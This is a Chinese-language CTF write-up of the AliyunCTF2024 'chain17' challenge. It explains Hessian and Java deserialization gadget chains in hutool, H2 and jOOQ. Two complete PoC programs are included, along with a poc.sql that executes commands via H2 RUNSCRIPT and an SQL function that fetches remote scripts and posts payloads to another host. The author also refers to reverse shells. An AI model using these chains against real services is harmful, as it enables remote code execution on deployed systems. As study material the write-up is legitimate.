chain17
AliyunCTF2024 –chain17
前言
W&M和V&N的各位爷太强了,web都AK了
随着偶像Boogipop和各位web✌解出chain17,web也随之被AK
那我们来看看这个chain17
主要是其他的写不来一点
基本信息
题目有agent.jar和server.jar,说明我们要先打下agent端,再打server端
agent
这说明这个包下肯定有类要进行调用
server
agent
路由只有一个hessian反序列化的入口
并且这个hessian依赖中好像并没有toString的那个CVE
刚开始大佬们因为对这些依赖都不太熟悉,所以有点走偏,提示出来之后就顺畅很多
其实当时看协作文档我也没看出什么所以然,以至于给出这个提示我也看不懂
赛后也是结合各个wp进行分析,没人教实在太痛苦了,花了好几天才理解(呜呜呜
首先因为入口是Hessian2Input.readObject,所以当我们序列化一个Map的子类
反序列化必定经过MapDeserializer
的map.put
我们只需要找到一个Map的子类进行利用
在进行map.put
之前,会多次经过下面这个方法中获取黑名单,并依次检查new的类、他们的所有父类以及他们的接口是否在黑名单中
然后JSONObject.put
跟进到
我试了下直接放入POJONode,但他不是jdk内部类,就进不到这里
然后就找到AtomicReference
类
接着到String类下的valueOf
控制obj为POJONode即可
也就是控制AtomicReference
的value
属性为PojoNode
接下来肯定就是调用Bean的getObject
然后大佬的思路就是给出了h2的依赖肯定有用,那就去找getter打jdbc
这里我猜测一下大佬的思路,应该是去找DriverManager.getConnection
发现在这个函数有使用
发现能跟进
发现有两处
其实这两处都差不多,调用谁的关键在于initialSize,设置initialSize大于等于1就走第一处,不设置只能走第二处
这里先介绍第一处
设置initialSize
大于等于1
跟过去
不断往上跟
我们可以跟到DSFactory
的getDataSource()
但他是抽象类,我们实例化他的实现类即可,即PooledDSFactory
感觉很神奇的东西
各个WP的调用栈都是这样
Bean.getObject -> PooledDSFactory.getDataSource
实现的话就把准备好的PooledDSFactory
对象序列化后放入Bean的data去反序列化
我很奇怪这样的写法,于是我跟着下断点看看,发现一个神奇的东西
这里是pojonode执行getter的地方,这里能获取返回值
按照WP的写法,我们能获取到我们准备的PooledDSFactory对象
然后走到下面
我们发现他会再次进入BeanSerializer
的serialize
方法 !!!!!!
这是pojonode获取所有getter并执行的其中一步
果不其然,在执行getter的前一步,我们发现他已经获取到了PooledDSFactory
所有的getter
先执行getSetting,再在执行getDataSource
执行getDataSource的调用栈
成功拼接
第二处
就是不设置initialSize大于等于1
这里我就直接用PooledDSFactory
分析下去
不设置的话也会经过这里
但是不会进入newConnection
然后就返回一个实例化的PooledDataSource
然后继续返回一个DataSourceWrapper对象
然后就是我所说的很神奇的东西,会返回执行完getter的值
那这里就会继续获取DataSourceWrapper的所有getter并执行
我们要的是getConnection
这两处都差不多,还是第一处方便一点
payload实现的赋值细节
dsMap要赋值,不赋值过不了
不太理解的就是这个raw
打h2数据库
h2数据库在初始化或能控制jdbc的情况下,能够init runscript执行sql文件
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
poc.sql
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('calc')
改为反弹shell拿下agent端
poc
import cn.hutool.core.map.SafeConcurrentHashMap;
import cn.hutool.db.ds.pooled.PooledDSFactory;
import cn.hutool.json.JSONObject;
import cn.hutool.setting.Setting;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.alibaba.com.caucho.hessian.io.SerializerFactory;
import com.fasterxml.jackson.databind.node.POJONode;
import com.aliyunctf.agent.other.Bean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.concurrent.atomic.AtomicReference;
public class WM_agent {
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(ctMethod);
ctClass.toClass();
String url="jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'";
PooledDSFactory pooledDSFactory = createWithoutConstructor(PooledDSFactory.class);
Setting setting = new Setting();
setting.setCharset(null);
setting.set("url",url);
setting.put("initialSize", "1");
setFieldValue(pooledDSFactory,"setting",setting);
HashMap<Object, Object> dsmap = new HashMap<>();
dsmap.put("",null);
// setFieldValue(pooledDSFactory,"dsMap",dsmap);
setFieldValue(pooledDSFactory,"dsMap",new SafeConcurrentHashMap<>());
Bean bean = new Bean();
ByteArrayOutputStream baos2 = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos2);
oos.writeObject(pooledDSFactory);
oos.close();
bean.setData(baos2.toByteArray());
POJONode jsonNodes = new POJONode(bean);
AtomicReference atomicReference = new AtomicReference("poc");
JSONObject jsonObject = new JSONObject();
//innermap
HashMap<Object, Object> innermap = new HashMap<>();
setFieldValue(innermap, "size", 1);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, "manqiu",atomicReference, null));
setFieldValue(innermap, "table", tbl);
setFieldValue(jsonObject,"raw",innermap);
setFieldValue(atomicReference,"value",jsonNodes);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
out.setSerializerFactory(new SerializerFactory());
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(jsonObject);
out.flushBuffer();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(base64String);
byte[] data = Base64.getDecoder().decode(base64String);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
Object object = hessian2Input.readObject();
System.out.println(object.getClass());
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.setAccessible(true);
if(field != null) {
field.set(obj, value);
}
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
}
server
只有一个jooq依赖,只需要在其中找到getter进行利用即可
unknown学的codeql好像帮了Boogipop大佬很多忙,太强了
目标是ConvertedVal
的getValue
但并不是直接在getValue中,要跟进函数
看到这个我们很容易想到ClassPathXmlApplicationContext加载恶意xml文件
我们只需要等到获取参数类型为String的构造器即可
那如何控制这个toClass呢
调用栈往前找到
获取DefaultDataType的uType
可以直接用DefaultDataType,也可以用他的子类
官方使用的是TableDataType
poc
import cn.hutool.core.io.FileUtil;
import cn.hutool.core.util.ReflectUtil;
import cn.hutool.core.util.SerializeUtil;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.jooq.DataType;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.File;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.Vector;
// JDK17 VM options:
// --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens java.desktop/javax.swing.event=ALL-UNNAMED
public class PocServer {
public static void main(String[] args) throws Exception {
gen("http://localhost:8000/poc.xml");
}
public static void gen(String url) throws Exception{
Class clazz1 = Class.forName("org.jooq.impl.Dual");
Constructor constructor1 = clazz1.getDeclaredConstructors()[0];
constructor1.setAccessible(true);
Object table = constructor1.newInstance();
Class clazz2 = Class.forName("org.jooq.impl.TableDataType");
Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
constructor2.setAccessible(true);
Object tableDataType = constructor2.newInstance(table);
Class clazz3 = Class.forName("org.jooq.impl.Val");
Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean.class);
constructor3.setAccessible(true);
Object val = constructor3.newInstance("whatever", tableDataType, false);
Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal");
Constructor constructor4 = clazz4.getDeclaredConstructors()[0];
constructor4.setAccessible(true);
Object convertedVal = constructor4.newInstance(val, tableDataType);
Object value = url;
Class type = ClassPathXmlApplicationContext.class;
ReflectUtil.setFieldValue(val, "value", value);
ReflectUtil.setFieldValue(tableDataType, "uType", type);
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(ctMethod);
ctClass.toClass();
POJONode pojoNode = new POJONode(convertedVal);
EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) ReflectUtil.getFieldValue(undoManager, "edits");
vector.add(pojoNode);
ReflectUtil.setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});
byte[] data = SerializeUtil.serialize(eventListenerList);
System.out.println(Base64.getEncoder().encodeToString(data));
}
}
准备恶意xml反弹shell即可
如何发送payload到server
Boogipop佬拿到agent的shell后发现没有curl,然后开始想办法,虽然我不知道他是咋实现的
官方WP是在恶意sql文件中写了一个请求的函数
create alias send as 'int send(String url, String poc) throws java.lang.Exception { java.net.http.HttpRequest request = java.net.http.HttpRequest.newBuilder().uri(new java.net.URI(url)).headers("Content-Type", "application/octet-stream").version(java.net.http.HttpClient.Version.HTTP_1_1).POST(java.net.http.HttpRequest.BodyPublishers.ofString(poc)).build(); java.net.http.HttpClient httpClient = java.net.http.HttpClient.newHttpClient(); httpClient.send(request, java.net.http.HttpResponse.BodyHandlers.ofString()); return 0;}';
call send('http://server:8080/read', '<这里填打 server 的 base64 payload>')
复现
遇到个问题,放入payload会报错
在前面加个字符就能加载。。。。。
玄学
finally
都是自己根据WP分析的原理,也仅仅如此,没有什么其他说法
那文章虽然结束,但这题还不能结束,还得去找大佬还原做题时的情景,掌握做题技巧,以及那个codeql是咋找到getValue
的
脑子太愚钝了,看了好几天,虽然也有题目很难的原因,但主要还是自己不知道如何去调试,如何去分析